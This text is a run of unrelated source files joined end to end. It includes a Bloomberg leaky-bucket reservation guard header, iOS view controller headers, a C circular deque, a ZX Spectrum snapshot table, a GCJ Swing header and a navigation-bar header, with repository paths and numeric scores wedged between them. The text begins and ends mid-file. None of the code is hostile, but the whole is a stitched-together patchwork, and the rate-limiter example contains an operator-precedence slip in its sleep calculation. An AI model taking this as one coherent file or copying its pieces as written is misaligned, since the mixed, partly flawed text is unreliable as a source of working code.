exception; therefore, we // should wait until 'mySendData' returns before indicating the amount of data // sent to the leaky bucket. // // Further suppose that multiple threads are sending network data and sharing // the same leaky bucket. If every thread simply checks for overflowing of the // leaky bucket, send data, and then submit to the leaky bucket, then the rate // of data usage may exceed the limits imposed by the leaky bucket due to race // conditions. We can avoid this issue by reserving the amount of data // immediately after checking whether the leaky bucket has overflown and submit // the reserved amount after the data has been sent. However, this process // could lead to the loss of the reserved units (effectively decreasing the // leaky bucket's capacity) if 'mySendData' throws an exception. // 'btls::ReservationGuard' is designed to resolve this issue. // // First, we define the size of each data chunk and the total size of the data // to send: //.. // const unsigned int CHUNK_SIZE = 256; // bsls::Types::Uint64 bytesSent = 0; // bsls::Types::Uint64 totalSize = 10 * 1024; // in bytes //.. // Then, we create a 'btls::LeakyBucket' object to limit the rate of data // transmission: //.. // bsls::Types::Uint64 rate = 512; // bsls::Types::Uint64 capacity = 1536; // bsls::TimeInterval now = bdlt::CurrentTime::now(); // btls::LeakyBucket bucket(rate, capacity, now); //.. // Next, we send the chunks of data using a loop. For each iteration, we check // whether submitting another byte would cause the leaky bucket to overflow: //.. // while (bytesSent < totalSize) { // now = bdlt::CurrentTime::now(); // if (!bucket.wouldOverflow(now)) { //.. // Now, if the leaky bucket would not overflow, we create a // 'btls::ReservationGuard' object to reserve the amount of data to be sent: //.. // btls::ReservationGuard<btls::LeakyBucket> guard(&bucket, // CHUNK_SIZE); //.. // Then, we use the 'mySendData' function to send the data chunk over the // network. After the data had been sent, we submit the amount of reserved // data that was actually sent: //.. // bsls::Types::Uint64 result; // result = mySendData(CHUNK_SIZE); // bytesSent += result; // guard.submitReserved(result); //.. // Note that we do not have manually cancel any remaining units reserved by the // 'btls::ReservationGuard' object either because 'mySendData' threw an // exception, or the data was only partially sent, because when the guard // object goes out of scope, all remaining reserved units will be automatically // cancelled. //.. // } //.. // Finally, if submitting another byte will cause the leaky bucket to overflow, // then we wait until the submission will be allowed by waiting for an amount // time returned by the 'calculateTimeToSubmit' method: //.. // else { // bsls::TimeInterval timeToSubmit = // bucket.calculateTimeToSubmit(now); // bsls::Types::Uint64 uS = timeToSubmit.totalMicroseconds() + // (timeToSubmit.nanoseconds() % 1000) ? 1 : 0; // bslmt::ThreadUtil::microSleep(static_cast<int>(uS)); // } // } //.. #ifndef INCLUDED_BTLSCM_VERSION #include <btlscm_version.h> #endif #ifndef INCLUDED_BSLS_ASSERT #include <bsls_assert.h> #endif #ifndef INCLUDED_BSLS_TYPES #include <bsls_types.h> #endif namespace BloombergLP { namespace btls { // ====================== // class ReservationGuard // ====================== template<class TYPE> class ReservationGuard { // This class template implements a proctor for reserving and cancelling // units in a rate controlling object. // // This class: //: o is *exception* *neutral* (agnostic) //: o is *const* *thread-safe* // For terminology see 'bsldoc_glossary'. // DATA TYPE *d_rateController_p; // Pointer to the rate // controlling object in which // the units are reserved. bsls::Types::Uint64 d_unitsReserved; // Number of units reserved by // this object. private: // NOT IMPLEMENTED ReservationGuard(); ReservationGuard& operator =(const ReservationGuard<TYPE>&); ReservationGuard(const ReservationGuard<TYPE>&); public: // CREATORS ReservationGuard(TYPE* rateController, bsls::Types::Uint64 numUnits); // Create a 'ReservationGuard' object guarding the specified // 'rateController' and reserving the specified 'numUnits'. ~ReservationGuard(); // Destroy this object. Invoke the 'cancelReserved' method for the // remaining remaining units reserved by this proctor. // MANIPULATORS void submitReserved(bsls::Types::Uint64 numUnits); // Submit the specified 'numUnits' from the reserve units guarded by // this object. After this operation, the number of reserved units // guarded by this object will be reduced by 'numUnits'. The behavior // is undefined unless 'numUnits <= unitsReserved()'. void cancelReserved(bsls::Types::Uint64 numUnits); // Cancel the specified 'numUnits' from the reserve units guarded by // this object. Subtract the 'numUnits' from 'unitsReserved' and // invoke the 'cancelReserved' method on the guarded object for // 'numUnits'. After this operation, the number of reserved units // guarded by this object will be reduced by 'numUnits'. The behavior // is undefined unless 'numUnits <= unitsReserved()'. // ACCESSORS bsls::Types::Uint64 unitsReserved() const; // Return the number of units reserved by this object. TYPE *ptr() const; // Return a pointer to the rate controlling object used by this object. }; // ============================================================================ // INLINE DEFINITIONS // ============================================================================ // ---------------------- // class ReservationGuard // ---------------------- // CREATORS template <class TYPE> inline ReservationGuard<TYPE>::ReservationGuard(TYPE *rateController, bsls::Types::Uint64 numUnits) { BSLS_ASSERT_SAFE(0 != rateController); d_rateController_p = rateController; d_unitsReserved = numUnits; d_rateController_p->reserve(numUnits); } template <class TYPE> inline ReservationGuard<TYPE>::~ReservationGuard() { d_rateController_p->cancelReserved(d_unitsReserved); } // ACCESSORS template <class TYPE> inline bsls::Types::Uint64 ReservationGuard<TYPE>::unitsReserved() const { return d_unitsReserved; } template <class TYPE> inline TYPE *ReservationGuard<TYPE>::ptr() const { return d_rateController_p; } // MANIPULATORS template <class TYPE> inline void ReservationGuard<TYPE>::cancelReserved(bsls::Types::Uint64 numUnits) { BSLS_ASSERT_SAFE(numUnits <= d_unitsReserved); d_rateController_p->cancelReserved(numUnits); d_unitsReserved -= numUnits; } template <class TYPE> inline void ReservationGuard<TYPE>::submitReserved(bsls::Types::Uint64 numUnits) { BSLS_ASSERT_SAFE(numUnits <= d_unitsReserved); d_rateController_p->submitReserved(numUnits); d_unitsReserved -= numUnits; } } // close package namespace } // close enterprise namespace #endif // ---------------------------------------------------------------------------- // Copyright 2015 Bloomberg Finance L.P. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // ----------------------------- END-OF-FILE ----------------------------------
0.996094
high
Example/LXCProgressHUD/LXCTwoVcViewController.h
butterflyXX/LXCProgressHUD
0
801985
// // LXCTwoVcViewController.h // LXCProgressHUD_Example // // Created by 刘晓晨 on 2018/5/7. // Copyright © 2018年 butterflyXX. All rights reserved. // #import <UIKit/UIKit.h> @interface LXCTwoVcViewController : UIViewController @end
0.523438
high
osprey/libopen64rt/malloc_opt.c
sharugupta/OpenUH
0
802497
/* Copyright (C) 2009 Advanced Micro Devices, Inc. All Rights Reserved. The Open64 Runtime Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The Open64 Runtime Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the Open64 Runtime Library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. */ #include <malloc.h> #include <stdlib.h> void __pathscale_malloc_alg(int mode) { if (getenv("OPEN64_NO_MALLOC_ALG") != NULL) return; if (mode < 1) mode = 1; else if (mode > 4) { mode = 4; } switch (mode) { case 1: mallopt(M_MMAP_MAX, 0x2); mallopt(M_TRIM_THRESHOLD, 0x10000000); break; case 2: mallopt(M_MMAP_MAX, 0x2); mallopt(M_TRIM_THRESHOLD, 0x40000000); break; case 3: mallopt(M_MMAP_MAX, 0x0); mallopt(M_TRIM_THRESHOLD, 0xffffffff); break; case 4: mallopt(M_MMAP_MAX, 0x2); mallopt(M_TRIM_THRESHOLD, 0x10000000); break; } }
0.742188
high
include/MNIObjIO.h
ilwoolyu/MeshLib
31
803009
<reponame>ilwoolyu/MeshLib /************************************************* * MNIObjIO.h * * Release: March 2015 * Update: April 2015 * * University of North Carolina at Chapel Hill * Department of Computer Science * * <NAME>, <EMAIL> *************************************************/ #pragma once #include "MeshIO.h" using namespace std; class MNIObjIO: public MeshIO { public: MNIObjIO(void); MNIObjIO(const char *filename); ~MNIObjIO(void); void read(const char *filename); };
0.472656
high
SampleCode/WacomStylusDemoApp/WacomStylusDemoApp/WacomStylusDemoApp/ViewController.h
szshmri/wacom-device-kit-ios
2
803521
/////////////////////////////////////////////////////////////////////////////// // // DESCRIPTION // header for the view controller for the application. // // COPYRIGHT // Copyright (c) 2012 - 2020 Wacom Co., Ltd. // All rights reserved // /////////////////////////////////////////////////////////////////////////////// #import <UIKit/UIKit.h> #import "GLKit/GLKView.h" #import "drawingView.h" #import <WacomDevice/WacomDeviceFramework.h> @interface ViewController : UIViewController <UIPopoverPresentationControllerDelegate, WacomDiscoveryCallback, WacomStylusEventCallback> @property (strong, nonatomic) IBOutlet UISegmentedControl *toolBar; @property (strong, nonatomic) IBOutlet UILabel *versionLabel; @property (weak, nonatomic) IBOutlet drawingView *dV; - (IBAction) SegControlPerformAction:(id)sender_I; - (IBAction) showPrivacyMessage:(UIButton *)sender_I; - (IBAction) displayHandPositions:(UIButton*)sender_I; //WacomDiscoveryCallback ///notification method for when a device is connected. - (void) deviceConnected:(WacomDevice *)device_I; ///notification method for when a device is disconnected. - (void) deviceDisconnected:(WacomDevice *)device_I; ///notification method for when a device is discovered. - (void) deviceDiscovered:(WacomDevice *)device_I; ///notification method for when device discovery is not possible because bluetooth is powered off. ///this allows one to pop up a warning dialog to let the user know to turn on bluetooth. - (void) discoveryStatePoweredOff; //WacomStylusEventCallback ///notification method for when a new stylus event is ready. - (void) stylusEvent:(WacomStylusEvent *)stylusEvent_I; @end
0.65625
high
src/rrtext/io.h
StyXman/kgt
456
804033
/* * Copyright 2014-2017 <NAME> * * See LICENCE for the full copyright terms. */ #ifndef KGT_RRTEXT_IO_H #define KGT_RRTEXT_IO_H #include "../compiler_specific.h" struct ast_rule; extern int prettify; WARN_UNUSED_RESULT int rrutf8_output(const struct ast_rule *); WARN_UNUSED_RESULT int rrtext_output(const struct ast_rule *); #endif
0.847656
high
opt.h
signifi3d/fxor
0
804545
#include "fxor_types.h" #ifndef OPT_H #define OPT_H void parse_opts(const int argc, char ** argv, fxor_opts *opts, fxor_error *err_code); #endif
0.859375
low
include/owlext/pictdlg.h
pierrebestwork/owl-next
0
805057
//------------------------------------------------------------------- // OWL Extensions (OWLEXT) Class Library // Copyright(c) 1996 by <NAME>. // All rights reserved. // // TPictDialog // //------------------------------------------------------------------- #ifndef __OWLEXT_PICTDLG_H #define __OWLEXT_PICTDLG_H #ifndef __OWLEXT_CORE_H # include <owlext/core.h> // required for all OWLEXT headers #endif #include <owl/dialog.h> namespace OwlExt { // Generic definitions/compiler options (eg. alignment) preceeding the // definition of classes // #include <owl/preclass.h> //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // TPictDialog //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ class OWLEXTCLASS TPictDialog : public owl::TDialog { // Object lifetime methods // public: TPictDialog(owl::TDib* dib, owl::TWindow* parent, owl::TResId resId, owl::TModule* module = 0); virtual ~TPictDialog(); // OWL overrides // protected: virtual TGetClassNameReturnType GetClassName(){ return _T("PictDlg"); } DECLARE_RESPONSE_TABLE(TPictDialog); virtual bool EvEraseBkgnd(HDC hdc); // Accessors // public: owl::TDib* GetDib() { return m_pdib; } // Mutators // public: owl::TDib* SetDib(owl::TDib* newDib); // Internal data // private: owl::TDib* m_pdib; }; // Generic definitions/compiler options (eg. alignment) following the // definition of classes #include <owl/posclass.h> } // OwlExt namespace #endif
0.988281
high
esp32/TinyZXESPectrumttgovga32/ZX-ESPectrum/dataFlash/gbsna.h
zxrepo/rpsubc8.ESP32TinyZXSpectrum
1
805569
<reponame>zxrepo/rpsubc8.ESP32TinyZXSpectrum #ifndef GB_SNA_H #define GB_SNA_H #include "sna/snaDiag48K.h" #include "sna/snaFantasy48K.h" #include "sna/snaSPpong48K.h" //#include "sna/snaManic48K.h" #include "sna/snaFire48K.h" //#include "sna/snaSilkwormKM48K.h" #include "sna/sna3Dcoolkm48K.h" #include "sna/snaAT4OPENKM48K.h" //#include "sna/snaBREDITORKM48K.h" #include "sna/snaSIPKA48K.h" #include "sna/snaMouseTestZxds48K.h" //#include "sna/snaArkanoid48K.h" #define max_list_sna_48 8 // #define max_list_sna_48 1 //sna 48K //Titulos static const char * gb_list_sna_48k_title[max_list_sna_48]={ "diag", "fantasy", "sppong", //"manic", "fire", //"Arkanoid", //"SilkWormKM", "3DcoolKm", "AT4openKM", //"BrEditorKM", "Sipka", "MouseTestZxds" //"EightOfNoise", //"WWTF" }; //Datos 48K sna static const unsigned char * gb_list_sna_48k_data[max_list_sna_48]={ gb_sna_diag_48k, gb_sna_fantasy_48k, gb_sna_sppong_48k, //gb_sna_manic_48k, gb_sna_fire_48k, //gb_sna_arkanoid_48k, //gb_sna_SILKWORMKM_48k, gb_3dcoolkm_48k, gb_sna_AT4OPENKM_48k, //gb_sna_BREDITORKM_48k, gb_sna_SIPKA_48K_H_48k, gb_sna_mouseTestZxds_48k // gb_sna_eightOfNoise_48k, // gb_sna_wwtf_48k }; #endif
0.878906
high
src/c-lib/scene_object.h
oprochazka/spiderAgonyRpg
0
806081
<gh_stars>0 // // Created by ondrej on 4.2.18. // #ifndef C_LIB_SCENE_OBJECT_H #define C_LIB_SCENE_OBJECT_H typedef struct ERPG_Scene_object { int id; const char * type; void * value; } ERPG_Scene_object; #endif //C_LIB_SCENE_OBJECT_H
0.867188
high
CI/rule/pclint/pclint_include/include_linux/c++/4.8.2/javax/swing/text/Utilities.h
chewaiwai/huaweicloud-sdk-c-obs
22
806593
// DO NOT EDIT THIS FILE - it is machine generated -*- c++ -*- #ifndef __javax_swing_text_Utilities__ #define __javax_swing_text_Utilities__ #pragma interface #include <java/lang/Object.h> extern "Java" { namespace java { namespace awt { class FontMetrics; class Graphics; } } namespace javax { namespace swing { namespace text { class Element; class JTextComponent; class Segment; class TabExpander; class Utilities; } } } } class javax::swing::text::Utilities : public ::java::lang::Object { public: Utilities(); static jint drawTabbedText(::javax::swing::text::Segment *, jint, jint, ::java::awt::Graphics *, ::javax::swing::text::TabExpander *, jint); static jint getTabbedTextWidth(::javax::swing::text::Segment *, ::java::awt::FontMetrics *, jint, ::javax::swing::text::TabExpander *, jint); static jint getTabbedTextOffset(::javax::swing::text::Segment *, ::java::awt::FontMetrics *, jint, jint, ::javax::swing::text::TabExpander *, jint, jboolean); static jint getTabbedTextOffset(::javax::swing::text::Segment *, ::java::awt::FontMetrics *, jint, jint, ::javax::swing::text::TabExpander *, jint); static jint getNextWord(::javax::swing::text::JTextComponent *, jint); static jint getPreviousWord(::javax::swing::text::JTextComponent *, jint); static jint getWordStart(::javax::swing::text::JTextComponent *, jint); static jint getWordEnd(::javax::swing::text::JTextComponent *, jint); static jint getRowEnd(::javax::swing::text::JTextComponent *, jint); static jint getRowStart(::javax::swing::text::JTextComponent *, jint); static jint getBreakLocation(::javax::swing::text::Segment *, ::java::awt::FontMetrics *, jint, jint, ::javax::swing::text::TabExpander *, jint); static ::javax::swing::text::Element * getParagraphElement(::javax::swing::text::JTextComponent *, jint); static jint getPositionAbove(::javax::swing::text::JTextComponent *, jint, jint); static jint getPositionBelow(::javax::swing::text::JTextComponent *, jint, jint); public: // actually package-private static jint getNextVisualPositionFrom(::javax::swing::text::JTextComponent *, jint, jint); public: static ::java::lang::Class class$; }; #endif // __javax_swing_text_Utilities__
0.957031
high
Coda/src/nlp-stack/Dictionary/DictionaryTrieModelElement.h
Samsung/veles.nlp
8
807105
<filename>Coda/src/nlp-stack/Dictionary/DictionaryTrieModelElement.h<gh_stars>1-10 /** * DictionaryTrieModelElement.h * Class DictionaryTrieModelElement * * .. invisible: * _ _ _____ _ _____ _____ * * | | | | ___| | | ___/ ___| * * | | | | |__ | | | |__ \ `--. * * | | | | __|| | | __| `--. \ * * \ \_/ / |___| |___| |___/\__/ / * * \___/\____/\_____|____/\____/ * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * http://www.apache.org/licenses/LICENSE-2.0 * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License * */ //#pragma warning( disable: 4018 ) #ifndef _DICTIONARYTRIEMODELELEMENT_H_ #define _DICTIONARYTRIEMODELELEMENT_H_ #include "DictionaryDataTypes.h" /** * Class DictionaryTrieModelElement : */ class DictionaryTrieModelElement { public : DictionaryTrieModelElement(void); ~DictionaryTrieModelElement(void); /** * @brief get suffix of model element */ wstring * getSuffix() { return &suffix; } /** * @brief set suffix to model element */ void setSuffix(const wstring & _suffix) { suffix = _suffix; } /** * @brief get featureListId */ int getFeatureListId(void) { return featureListId;} /** * @brief set featureListId */ void setFeatureListId(int _featureListId) { featureListId = _featureListId;} /** * @brief true if word of model element begins with PO */ bool isBeginWithPo(void) { return beginWithPo; } /** * @brief word of model element begins with PO */ void setBeginWithPo(bool _beginWithPo) { beginWithPo = _beginWithPo; } /** * @brief a DictionaryTrieModelElement is valid if suffix is not empty or have 1 or more attributes */ bool isValid(void) { return (suffix.length() > 0 || featureListId >= 0); } private: // suffix of DictionaryTrieModelElement wstring suffix; // attributes of DictionaryTrieModelElement int featureListId; // true if word begins with prefix PO bool beginWithPo; }; #endif /* _DICTIONARYTRIEMODELELEMENT_H_ */
0.996094
high
Example/BKMVVMKit/ExTableViewController/BKRoleManagerViewController.h
isingle/BKMVVMKit
13
807617
// // BKRoleManagerViewController.h // Pods // // Created by lic on 2019/8/27. // #import <UIKit/UIKit.h> #import "BKVMTableController.h" NS_ASSUME_NONNULL_BEGIN @interface BKRoleManagerViewController : BKVMTableController @end NS_ASSUME_NONNULL_END
0.507813
high
src/utility/Parameters.h
pictools/pica-demo
0
808129
<gh_stars>0 #ifndef PICA_DEMO_UTILITY_PARAMETERS_H #define PICA_DEMO_UTILITY_PARAMETERS_H #include "pica/math/Vectors.h" #include "pica/particles/Ensemble.h" #include "pica/particles/ParticleArray.h" #include <string> using pica::Constants; using pica::FP3; using pica::Int3; namespace utility { struct DemoParameters { Int3 numCells; int numIterations; int particlesPerCell; int numParticleTypes; Int3 numCellsPerSupercell; int tileSize; int numThreads; std::string outputDir; int outputPeriod; int outputResolutionWidth; int outputResolutionHeight; FP3 minPosition; FP3 maxPosition; double dt; double A; double L; double NumPerL_Debay; int NumPerPlasmaPeriod; double NumPerCell; int MatrixSize; int NumPeriods; double SpaceStep; double L_Debay; double Temp; double Density; double w_p; double Amp; double particlesFactor; }; DemoParameters getParameters() { DemoParameters parameters; parameters.A = 0.05; parameters.L = 1.0; parameters.NumPerL_Debay = 0.5; parameters.NumPerPlasmaPeriod = 256; parameters.NumPerCell = 30; parameters.MatrixSize = 64; parameters.NumPeriods = parameters.MatrixSize / (2.0 * sqrt(2.0) * Constants<double>::pi() * parameters.NumPerL_Debay); parameters.SpaceStep = parameters.L / parameters.MatrixSize; parameters.L_Debay = parameters.SpaceStep * parameters.NumPerL_Debay; parameters.Temp = 1e-2 * Constants<double>::electronMass() * Constants<double>::c() * Constants<double>::c(); parameters.Density = parameters.Temp / (8 * Constants<double>::pi() * Constants<double>::electronCharge() * parameters.L_Debay * Constants<double>::electronCharge() * parameters.L_Debay); parameters.w_p = sqrt(4 * Constants<double>::pi() * Constants<double>::electronCharge() * Constants<double>::electronCharge() * parameters.Density / Constants<double>::electronMass()); parameters.dt = 2 * (Constants<double>::pi() / parameters.w_p) / parameters.NumPerPlasmaPeriod; parameters.Amp = 2 * parameters.L * parameters.Density * Constants<double>::electronCharge() * parameters.A; parameters.numCells = Int3(parameters.MatrixSize, parameters.MatrixSize / 8, parameters.MatrixSize / 8); parameters.numIterations = parameters.NumPerPlasmaPeriod * parameters.NumPeriods; parameters.outputPeriod = 16; parameters.outputResolutionWidth = 256; parameters.outputResolutionHeight = 256; parameters.numCellsPerSupercell = Int3(2, 2, 2); parameters.minPosition = FP3(0.0, 0.0, 0.0); parameters.maxPosition = FP3(parameters.L, parameters.L / 8.0, parameters.L / 8.0); FP3 step = (parameters.maxPosition - parameters.minPosition) / (FP3(parameters.numCells)); parameters.particlesFactor = parameters.Density * step.volume() / parameters.NumPerCell; parameters.numThreads = omp_get_max_threads(); return parameters; } } // namespace utility #endif
0.984375
high
ccontainer/cdeque.c
hmito/hmLib
0
808641
#ifndef HMLIB_CDEQUE_C_INC #define HMLIB_CDEQUE_C_INC 200 # #ifndef HMLIB_CDEQUE_INC # include <hmLib/cdeque.h> #endif #ifdef __cplusplus extern "C"{ #endif #include <stdlib.h> #ifdef __cplusplus } #endif #ifdef __cplusplus namespace hmLib{ extern "C"{ #endif void _cdeque_default_destructor(hmLib_pointer Ptr) { free(Ptr); } //メモリの初期化 void cdeque_format(hmLib_cdeque* ptr){ ptr->ElemSize=0; ptr->BufBegin=0; ptr->BufEnd=0; ptr->Begin=0; ptr->End=0; ptr->Destructor=0; } //すでに初期化されたかどうかの確認 hmLib_boolian cdeque_is_construct(hmLib_cdeque* ptr){ return ptr->BufBegin==0; } //動的確保によってバッファ確保 void cdeque_construct(hmLib_cdeque* pDque, hmLib_cdeque_size_t Size, hmLib_cdeque_size_t ElemSize) { pDque->ElemSize=ElemSize; pDque->BufBegin=malloc(ElemSize*(Size+1)); pDque->BufEnd=(hmLib_uint8*)(pDque->BufBegin)+ElemSize*(Size+1); pDque->Begin=pDque->BufBegin; pDque->End=pDque->BufBegin; pDque->Destructor=_cdeque_default_destructor; } //静的確保によってバッファ確保 void cdeque_placement_construct(hmLib_cdeque* pDque, hmLib_cdeque_size_t Size, hmLib_cdeque_size_t ElemSize, hmLib_pointer Ptr, hmLib_vFp_p Destructor) { pDque->ElemSize=ElemSize; pDque->BufBegin=Ptr; pDque->BufEnd=(hmLib_uint8*)(Ptr)+ElemSize*(Size); pDque->Begin=pDque->BufBegin; pDque->End=pDque->BufBegin; pDque->Destructor=Destructor; } //バッファ解放 void cdeque_destruct(hmLib_cdeque* pDque){ if(pDque->Destructor) { pDque->Destructor(pDque->BufBegin); } pDque->BufBegin=0; pDque->BufEnd=0; pDque->Begin=0; pDque->End=0; } //move void cdeque_move(hmLib_cdeque* from, hmLib_cdeque* to){ to->Destructor=from->Destructor; to->ElemSize=from->ElemSize; to->Begin=from->Begin; to->End=from->End; to->BufBegin=from->BufBegin; to->BufEnd=from->BufEnd; cdeque_format(from); } //copy void cdeque_swap(hmLib_cdeque* ptr1,hmLib_cdeque* ptr2){ hmLib_cdeque tmp; tmp.Destructor=ptr1->Destructor; tmp.ElemSize=ptr1->ElemSize; tmp.Begin=ptr1->Begin; tmp.End=ptr1->End; tmp.BufBegin=ptr1->BufBegin; tmp.BufEnd=ptr1->BufEnd; ptr1->Destructor=ptr2->Destructor; ptr1->ElemSize=ptr2->ElemSize; ptr1->Begin=ptr2->Begin; ptr1->End=ptr2->End; ptr1->BufBegin=ptr2->BufBegin; ptr1->BufEnd=ptr2->BufEnd; ptr2->Destructor=tmp.Destructor; ptr2->ElemSize=tmp.ElemSize; ptr2->Begin=tmp.Begin; ptr2->End=tmp.End; ptr2->BufBegin=tmp.BufBegin; ptr2->BufEnd=tmp.BufEnd; } //バッファの先頭の要素アドレスを取得 void* cdeque_frontptr(hmLib_cdeque* pDque){return pDque->Begin;} //バッファの末尾の要素アドレスを取得 void* cdeque_backptr(hmLib_cdeque* pDque){return cdeque_prev(pDque,pDque->End);} //バッファにデータを挿入 hmLib_boolian cdeque_push_front(hmLib_cdeque* pDque,const void* Ptr){ hmLib_cdeque_size_t cnt=0; if(cdeque_full(pDque))return 1; pDque->Begin=cdeque_prev(pDque,pDque->Begin); for(cnt=0;cnt<pDque->ElemSize;++cnt){ *((hmLib_uint8*)(pDque->Begin)+cnt)=*((hmLib_uint8*)(Ptr)+cnt); } return 0; } //バッファの先頭のデータ削除 hmLib_boolian cdeque_pop_front(hmLib_cdeque* pDque){ if(cdeque_empty(pDque))return 1; pDque->Begin=cdeque_next(pDque,pDque->Begin); return 0; } //バッファの末尾にデータを挿入 hmLib_boolian cdeque_push_back(hmLib_cdeque* pDque,const void* Ptr){ hmLib_cdeque_size_t cnt=0; if(cdeque_full(pDque))return 1; for(cnt=0;cnt<pDque->ElemSize;++cnt){ *((hmLib_uint8*)(pDque->End)+cnt)=*((hmLib_uint8*)(Ptr)+cnt); } pDque->End=cdeque_next(pDque,pDque->End); return 0; } //バッファの末尾のデータ削除 hmLib_boolian cdeque_pop_back(hmLib_cdeque* pDque){ if(cdeque_empty(pDque))return 1; pDque->End=cdeque_prev(pDque,pDque->End); return 0; } //バッファに入っているサイズ hmLib_cdeque_size_t cdeque_size(hmLib_cdeque* pDque){return (((hmLib_uint8*)(pDque->End)-(hmLib_uint8*)(pDque->Begin)+(hmLib_uint8*)(pDque->BufEnd)-(hmLib_uint8*)(pDque->BufBegin))%((hmLib_uint8*)(pDque->BufEnd)-(hmLib_uint8*)(pDque->BufBegin)))/pDque->ElemSize;} //バッファに入っているサイズ hmLib_cdeque_size_t cdeque_rest(hmLib_cdeque* pDque){return ((hmLib_uint8*)(pDque->BufEnd)-(hmLib_uint8*)(pDque->BufBegin))/pDque->ElemSize-cdeque_size(pDque)-1;} //バッファが空かどうか確認 hmLib_boolian cdeque_empty(hmLib_cdeque* pDque){return (pDque->Begin==pDque->End);} //バッファがいっぱいかどうか確認 hmLib_boolian cdeque_full(hmLib_cdeque* pDque){return (pDque->Begin==cdeque_next(pDque,pDque->End));} //バッファのbegin関数 hmLib_cdeque_iterator cdeque_begin(hmLib_cdeque* pDque){return pDque->Begin;} //バッファのend関数 hmLib_cdeque_iterator cdeque_end(hmLib_cdeque* pDque){return pDque->End;} //hmLib_cdeque_iteratorの次のhmLib_cdeque_iteratorを返す hmLib_cdeque_iterator cdeque_next(hmLib_cdeque* pDque,hmLib_cdeque_iterator itr){ itr=(hmLib_uint8*)(itr)+pDque->ElemSize; if(pDque->BufEnd == itr)itr=pDque->BufBegin; return itr; } //hmLib_cdeque_iteratorの前のhmLib_cdeque_iteratorを返す hmLib_cdeque_iterator cdeque_prev(hmLib_cdeque* pDque,hmLib_cdeque_iterator itr){ if(pDque->BufBegin == itr)itr=pDque->BufEnd; itr=(hmLib_uint8*)(itr)-pDque->ElemSize; return itr; } #ifdef __cplusplus } //extern "C" } //namespace hmLib #endif # #endif
0.992188
high
PYBaseViews/Classes/Views/BaseNavBar/PYBaseNavigationBarView.h
LiPengYue/PYBaseView
10
809153
// // PYBaseNavigationBarView.h // FBSnapshotTestCase // // Created by 衣二三 on 2019/8/22. // #import <UIKit/UIKit.h> NS_ASSUME_NONNULL_BEGIN typedef void(^ClickNavTitle)(UIButton *button); typedef void(^CliekNavItem)(UIButton *button,NSInteger index); @interface PYBaseNavigationBarView : UIView /** 刷新UI */ - (void) reloadView; - (void) setUpWeakSelfFunc: (void(^)(PYBaseNavigationBarView *weak))block; /** 左边的buttons */ @property (nonatomic,strong,readonly) NSArray <UIButton *>*leftItems; /** 右边的buttons */ @property (nonatomic,strong,readonly) NSArray <UIButton *>*rightItems; /** title 替换 这个view 来 自定义 titleLabel */ @property (nonatomic,strong) UIButton *titleButton; #pragma mark - 插入item - (PYBaseNavigationBarView *(^)(UIButton *button)) addLeftItem; - (PYBaseNavigationBarView *(^)(UIButton *button)) addRightItem; // MARK: 根据 str 与 image 创建Button 并添加到数组 - (PYBaseNavigationBarView *(^)(NSString *str,UIImage *image)) addLeftItemWithTitleAndImg; - (PYBaseNavigationBarView *(^)(NSString *str,UIImage *image)) addRightItemWithTitleAndImg; - (PYBaseNavigationBarView *(^)(NSString *str,UIImage *image)) addTitleItemWithTitleAndImg; // MARK: 根据 attributedStr 创建button 并添加到数组 - (PYBaseNavigationBarView *(^)(NSAttributedString *str)) addLeftItemWithAttributedStr; - (PYBaseNavigationBarView *(^)(NSAttributedString *str)) addRightItemWithAttributedStr; - (PYBaseNavigationBarView *(^)(NSAttributedString *str)) addTitleItemWithAttributedStr; - (PYBaseNavigationBarView *) insertLeftItem: (UIButton *)button andIndex: (NSInteger)index; - (PYBaseNavigationBarView *) insertRightItem: (UIButton *)button andIndex: (NSInteger)index; - (PYBaseNavigationBarView *) removeLeftItemWithIndex: (NSInteger) index; - (PYBaseNavigationBarView *) removeRightItemWithIndex: (NSInteger) index; - (PYBaseNavigationBarView *) removeLeftAll; - (PYBaseNavigationBarView *) removeRightAll; #pragma mark - 点击事件 /** 点击了左边的按钮 */ - (void) clickLeftButtonFunc: (CliekNavItem) clickLeftItem; /** 点击了右边的按钮 */ - (void) clickRightButtonFunc: (CliekNavItem) clickRightItem; /** 点击了中间title的按钮 */ - (void) clickTitleButtonFunc: (ClickNavTitle) clickTitle; #pragma layout /** 整体布局的edg */ @property (nonatomic,assign) UIEdgeInsets itemsEdge; /** item 之间最小的间距 默认为14pt */ @property (nonatomic,assign) CGFloat itemsMinMargin; /** item 的高度 默认为24pt */ @property (nonatomic,assign) CGFloat itemHeight; /**item 的最小宽度 默认为44*/ @property (nonatomic,assign) CGFloat itemMinWidth; /** titleButton 的size */ @property (nonatomic,assign)CGFloat titleButtonWidth; @property (nonatomic,assign) CGFloat titleButtonHeight; - (UIButton *) getLeftItemWithIndex: (NSInteger) index; - (UIButton *) getRightItemWithIndex: (NSInteger) index; #pragma mark - bottom line @property (nonatomic,strong) UIView *bottomLineView; @property (nonatomic,assign) BOOL isHiddenBottomLine; /// bottomLineH @property (nonatomic,assign) CGFloat bottomLineH; @property 